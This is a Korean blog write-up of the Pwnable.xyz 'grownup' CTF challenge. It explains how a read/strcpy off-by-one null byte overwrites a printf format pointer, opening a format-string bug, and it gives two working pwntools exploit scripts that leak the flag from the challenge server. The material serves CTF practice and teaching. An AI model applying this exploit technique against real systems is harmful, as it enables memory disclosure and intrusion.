tmxklab

[Pwnable.xyz] grownup 본문

War Game/Pwnable.xyz

[Pwnable.xyz] grownup

tmxk4221 2020. 3. 30. 17:07

1. 문제

nc svc.pwnable.xyz 30004

 

1) 문제 확인

 

2) IDA(hex-lay) - 메인 함수

- buf값을 체크하여 y(or Y)가 아니면 메인함수를 종료

- if문을 통과하면 read함수를 통해 src변수에 입력을 받고 usr에 다시 복사하여 출력

- 주의 깊게 볼 부분은 read함수와 strcpy

 

 

3) 메모리 보호기법 및 파일 정보 확인

 


 

2. 접근 방법

먼저, 취약한 함수로 read()와 strcpy()가 존재

그런데 위에 빨간 박스를 보면 굳이 src변수로 입력 값을 받고 다시 usr로 복사하여 출력한다.

 

여기서 src[rbp-28h]는 스택에 존재하지만 usr는 bss영역에 존재하므로 전역 변수이다.

그리고 위에 usr로 부터 조금 떨어진 곳에 flag가 존재한다.

저 값을 문제에 대한 답으로 입력하면 틀렸다고 한다.(ㅠ)

하지만, 진짜 플래그는 저 위치에 있을 것이라고 말해준 것을 보면 서버에 0x601080 위치를 출력하면 진짜 플래그 값이 나올 것으로 추측해본다.

 

1) read함수와 strcpy함수

아까 굳이 read함수로 입력을 받고 strcpy함수를 통해 복사하여 출력하는 것을 보았다.

디버깅을 하다보면 이 부분에 취약한 점을 확인할 수 있다.

 

read() : 문자열의 마지막에 널 값을 넣지 않는다.

strcpy() : 복사할 문자열에서 널 값이 나올 때까지 읽어 복사한다.

 

2) 디버깅

이제, 차근차근 디버깅을 통해 확인해보자

현재 src[rbp-0x28]변수가 132bytes만큼 할당을 받았고 0으로 초기화된 것을 확인할 수 있다.

그 다음 read함수를 통해 src변수에 입력 값을 받는 것을 확인할 수 있다.

strcpy()를 통해 src변수의 값을 usr변수에 저장된 것을 확인할 수 있다.

그리고 usr변수를 printf()로 출력해주는데 이때 파라미터가 2개가 들어간다.

여기서qword_601160과 usr를 받는다.

qword_601160는 usr변수 아래에 위치하며 setup함수에서 사용된다.

여기서 qword_601160을 %s로 세팅해주는 작업을 하는 것 같다.

 

2) 정리

디버깅을 통해 정리를 해보면

 

  1. src포인터 변수를 132bytes만큼 할당해준다.(0으로 초기화)

  2. read함수를 통해 128bytes만큼 입력을 받아 src변수에 저장

  3. strcpy함수를 통해 src변수의 값을 usr변수로 복사

  4. printf("%s", usr)를 통해 usr의 값을 스트링으로 출력

 

그런데 만약에 128bytes 꽉 채워서 read함수의 입력으로 받게 된다면 src변수에 128bytes까지 저장하게 될 것이고 이후에 strcpy함수를 실행하게 된다면 usr변수에는 129bytes까지 저장된다.

왜냐하면 처음에 말했듯이 strcpy함수는 널 값까지 읽어서 복사하기 때문이다.

 

3) 정상적인 값 vs 비정상적인 값

3-1) 정상적인 값

- usr변수

- 입력 값으로 "AAAAAAAA"을 넣은 경우이며, 마지막 0x601160에는 정상적으로 0x601168이 저장되어 있다.(0x601168 → "%s\n", 나중에 printf("%s\n", usr);에 사용됨

 

3-2) 비정상적인 값

- src변수

- usr변수

- 128bytes 꽉 채워 넣은 경우이며 strcpy함수를 통해 128bytes + 1byte(널 값)을 usr변수에 복사하면서 0x6011680x601100으로 변하게 되었다.

- 따라서, printf("%s\n", usr) → printf(0x601100, usr)로 변하게 되었으며, 0x601100에 위치한 곳부터 끝까지 읽게 되어 입력 값의 처음 32bytes는 건너뛰고 그다음 96bytes만 출력한다.(그리고 포맷지정자는 없음 → FSB가능)

 

결론) 

  • 128bytes를 꽉 채워 입력을 받으면서 usr변수 아래에 위치한 0x601160의 값이 변하면서 마지막 printf함수에 사용될 "%s\n"이 사용할 수 없게 된다.

  • 따라서, flag주소 값을 스택에 저장하여 printf함수를 사용하여 FSB를 통해 서버에서 진짜 플래그 값을 출력하면 될 것이다. 

 


 

3. 풀이

FSB를 진행하기 위해 먼저 스택에 플래그 주소 값을 넣어야 한다.

 

1) 첫 번째 read함수

첫 번째 read함수에서 16bytes까지 입력을 받을 수 있으며 buf의 값이 y또는 Y이면 메인함수가 진행된다.

- 하지만, buf[rbp-0x29]에서 byte(1byte)로 비교하기 때문에 처음 y또는 Y 한 바이트만 입력하고 나머지에 어떠한 값을 넣어도 메인함수는 통과된다.

- 이 점을 이용하여 buf변수에 flag주소 값을 넣을 것이다.

 

2) 두 번째 read함수

아까 전에 0x601100부터 읽기 시작하므로 처음 32bytes는 읽지 않는다.

그러므로 32bytes의 더미 값과 %p를 연속해서 입력 값으로 넣으면 rsp가 위치한 곳에서 계속 이동하여 결국엔 buf에 저장해 두었던 flag주소 값을 읽을 것이다.

마지막 printf함수를 실행하기 전이며 다행히 rsp가 buf가 위치한 곳보다 낮은 곳에 위치한다.

 

계산하기 귀찮으니 걍 %p를 막 넣어서 0x601080이 출력되는 곳을 찾아보자

코드는 다음과 같다

from pwn import *

r = remote("svc.pwnable.xyz", 30004)

flag = 0x601080
payload = "Y" + "A"*7 +p32(flag)
r.recvuntil("[y/N]: ")
r.sendline(payload)

form = "%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p"

payload ="A"*32 + form +"A"*(0x80-len(form)-32)
r.recvuntil("Name: ")
r.sendline(payload)

r.interactive()

 

실행결과)

확인 결과 9번째 위치에 0x601080이 출력된다.

 

이제 다시 고쳐보자(9번째 %p를 %s로 변경)

from pwn import *

r = remote("svc.pwnable.xyz", 30004)

flag = 0x601080
payload = "Y" + "A"*7 +p32(flag)
r.recvuntil("[y/N]: ")
r.sendline(payload)

form = "%p %p %p %p %p %p %p %p %s %p %p %p %p %p %p %p %p %p %p"

payload ="A"*32 + form +"A"*(0x80-len(form)-32)
r.recvuntil("Name: ")
r.sendline(payload)

r.interactive()

 

공격실행)

 

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] note  (0) 2020.04.09
[Pwnable.xyz] free spirit  (0) 2020.03.30
[Pwnable.xyz] misalignment  (0) 2020.03.27
[Pwnable.xyz] add  (0) 2020.03.07
[Pwnable.xyz] sub  (0) 2020.03.07
Comments